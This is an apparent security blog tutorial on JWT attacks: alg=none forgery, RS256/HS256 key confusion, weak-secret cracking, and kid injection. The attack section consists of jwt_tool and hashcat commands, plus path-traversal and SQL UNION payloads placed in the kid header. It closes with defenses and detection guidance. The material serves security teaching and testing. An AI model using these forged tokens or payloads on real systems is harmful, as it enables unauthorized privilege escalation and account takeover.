JWT Vulnerabilities and Attacks: alg none, Key Confusion, and kid Injection

Web Exploitation
Time it takes to read this article 5 minutes.

Disclaimer: This article is for educational purposes and authorized security testing only. Only test systems you own or have explicit written permission to assess. Attacking JWT-protected applications without authorization is illegal and unethical.

Introduction

JSON Web Tokens (JWT, RFC 7519) are the de facto standard for stateless authentication in modern web and mobile APIs. Because the token is the credential and is often validated client-defined parameters, a single misconfiguration in the verification routine can collapse the entire authentication boundary — turning a low-privilege session into an admin one without ever touching a password.

In this article you will learn how to identify and exploit the four most impactful classes of JWT flaws: the alg=none bypass, RS256/HS256 key confusion, weak HMAC secrets, and kid injection. We'll drive most of the work with jwt_tool, the go-to all-in-one JWT auditing utility, and close with a Blue Team section on hardening libraries and pipelines.

How It Works / Background

A JWT has three Base64URL-encoded parts joined by dots: header.payload.signature.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIn0.3Tj...sig
Plaintext
  • Header declares the signing algorithm in alg (e.g. HS256, RS256) and optionally a kid (key ID) pointing at which key to use.
  • Payload holds claims like sub, role, exp.
  • Signature is computed over base64url(header) + "." + base64url(payload) using either a symmetric secret (HMAC, HS*) or an asymmetric private key (RSA/ECDSA, RS*/ES*).

The critical insight: the server chooses which key to trust, but the attacker controls the header. When the verification code trusts attacker-supplied header fields (alg, kid, jku, x5u) instead of pinning them server-side, forgery becomes possible.

Prerequisites / Lab Setup

Install jwt_tool and a couple of helpers:

git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
python3 -m pip install -r requirements.txt
python3 jwt_tool.py --help
Bash

For a vulnerable target, use a deliberately insecure lab such as PortSwigger Web Security Academy JWT labs, or a local Node/Express app using an outdated jsonwebtoken version. Capture a valid token from your browser's Authorization: Bearer header or a session cookie.

First, inspect any captured token:

python3 jwt_tool.py eyJhbGciOiJIUzI1Ni...<token>
Bash

This dumps the decoded header and claims and flags obvious weaknesses without modifying anything.

Attack Walkthrough / PoC

1. The alg: none Bypass

If a library honors alg: none (or case variants like None, nOnE), the signature is treated as optional and verification is skipped. An attacker can rewrite claims and strip the signature.

# Tamper mode: forge with alg=none, escalate role to admin
python3 jwt_tool.py <token> -X a -I -pc role -pv admin
Bash

-X a selects the alg-none exploit and emits several casing permutations to defeat naive blocklists. The resulting token looks like:

eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
Plaintext

Note the empty third segment — the trailing dot is required. Replay it against the target; if accepted, signature checking is broken.

2. RS256 → HS256 Key Confusion

When a server expects RS256 but verifies with a function like verify(token, key) that selects the algorithm from the token header, an attacker can switch alg to HS256 and sign with the public key as the HMAC secret. The server's RSA public key is, by definition, public — so the attacker can forge a valid HMAC.

Obtain the public key (from /jwks.json, a TLS cert, or /.well-known/), then:

# Convert a JWKS entry to PEM if needed
python3 jwt_tool.py <token> -V -jw jwks.json   # pull/inspect JWKS

# Forge: switch RS256->HS256, HMAC-sign with the public key
python3 jwt_tool.py <token> -X k -pk public.pem -I -pc role -pv admin
Bash

-X k is the key-confusion attack; -pk supplies the public key file. The forged signature verifies because the server feeds the same public key into its HMAC routine.

3. Cracking Weak HMAC Secrets

HS256 tokens are only as strong as their secret. Offline cracking is trivial against weak or default keys:

# Dictionary attack with jwt_tool
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

# Or with hashcat mode 16500 (JWT)
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt
Bash

Once the secret falls, re-sign arbitrary claims:

python3 jwt_tool.py <token> -S hs256 -p 'secret123' -I -pc role -pv admin
Bash

4. kid Injection

The kid header tells the server which key to load. If its value is concatenated into a file path, SQL query, or command, it becomes an injection sink.

Path traversal to a predictable file — point kid at a file with known contents (e.g. /dev/null, an empty string → empty HMAC key):

python3 jwt_tool.py <token> -I -hc kid -hv "../../../../../../dev/null" -S hs256 -p ""
Bash

Signing with an empty key matches when the server reads /dev/null (zero bytes) as the HMAC secret.

SQL injection in kid — if the key is fetched via SELECT key FROM keys WHERE id='<kid>', inject a UNION to return an attacker-known value:

python3 jwt_tool.py <token> -I -hc kid \
  -hv "x' UNION SELECT 'attackersecret'-- -" -S hs256 -p "attackersecret"
Bash

The query now returns attackersecret, which you used to sign the token — verification passes.

Attack Flow Diagram

JWT Vulnerabilities and Attacks: alg none, Key Confusion, and kid Injection diagram 1

Text fallback: from a captured token, branch on the header — strip the signature (alg=none), HMAC-sign with the RSA public key (key confusion), crack a weak secret, or hijack the key via kid injection — then replay the forged token to escalate privileges.

Detection & Defense (Blue Team)

Defending JWT requires fixing the verification routine itself, not just adding WAF rules.

  • Pin the algorithm server-side. Never let the token's alg choose the verifier. Pass an explicit allowlist:
// Node jsonwebtoken — reject everything except RS256
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
JavaScript
# PyJWT — explicit algorithms list; never pass options that disable verify
jwt.decode(token, public_key, algorithms=["RS256"])
Python

This single line defeats both alg=none and RS256→HS256 confusion.

  • Patch vulnerable libraries. node-jsonwebtoken < 9.0.0 is affected by CVE-2022-23529 (and the related CVE-2022-23539/23540 algorithm-confusion and weak-key issues). Auth0's older jsonwebtoken allowed type confusion in secretOrPublicKey. Keep libraries current and run npm audit / pip-audit in CI.

  • Use strong, high-entropy secrets. HMAC keys must be at least 256 bits of random data, stored in a secret manager — never a dictionary word or app constant. Detect weak secrets proactively by running jwt_tool -C against your own issued tokens in a controlled test.

  • Validate and constrain kid. Treat kid as untrusted input: map it through a fixed lookup table of allowed key IDs, never concatenate it into file paths or SQL. Reject unknown kid values outright.

  • Lock down dynamic key sources. Disable or allowlist jku/x5u header URLs so attackers cannot point the server at an attacker-hosted JWKS.

  • Enforce claim hygiene. Validate exp, nbf, iss, and aud; keep token lifetimes short and support revocation (deny-lists or rotating signing keys).

  • Logging/SIEM detection. Alert on tokens with alg: none, mismatched alg vs. expected, traversal sequences (../) or SQL metacharacters in kid, and signature-verification-failure spikes from a single IP. These map to MITRE ATT&CK T1550.001 (Use Alternate Authentication Material: Application Access Token) and T1606.002 (Forge Web Credentials: SAML/Web Tokens).

For related credential-abuse tradecraft, see Pass-the-Hash explained, OAuth token theft, and SQL injection fundamentals.

Conclusion

JWT attacks succeed almost entirely because of trust placed in attacker-controlled header fields. The alg=none bypass, key confusion, weak-secret cracking, and kid injection are not exotic — they stem from verification code that lets the token dictate how it is validated. As an attacker, jwt_tool lets you enumerate and weaponize all four in minutes. As a defender, the fix is small but absolute: pin the algorithm, treat every header field as hostile, use strong managed keys, and keep libraries patched.

References

Comments

Copied title and URL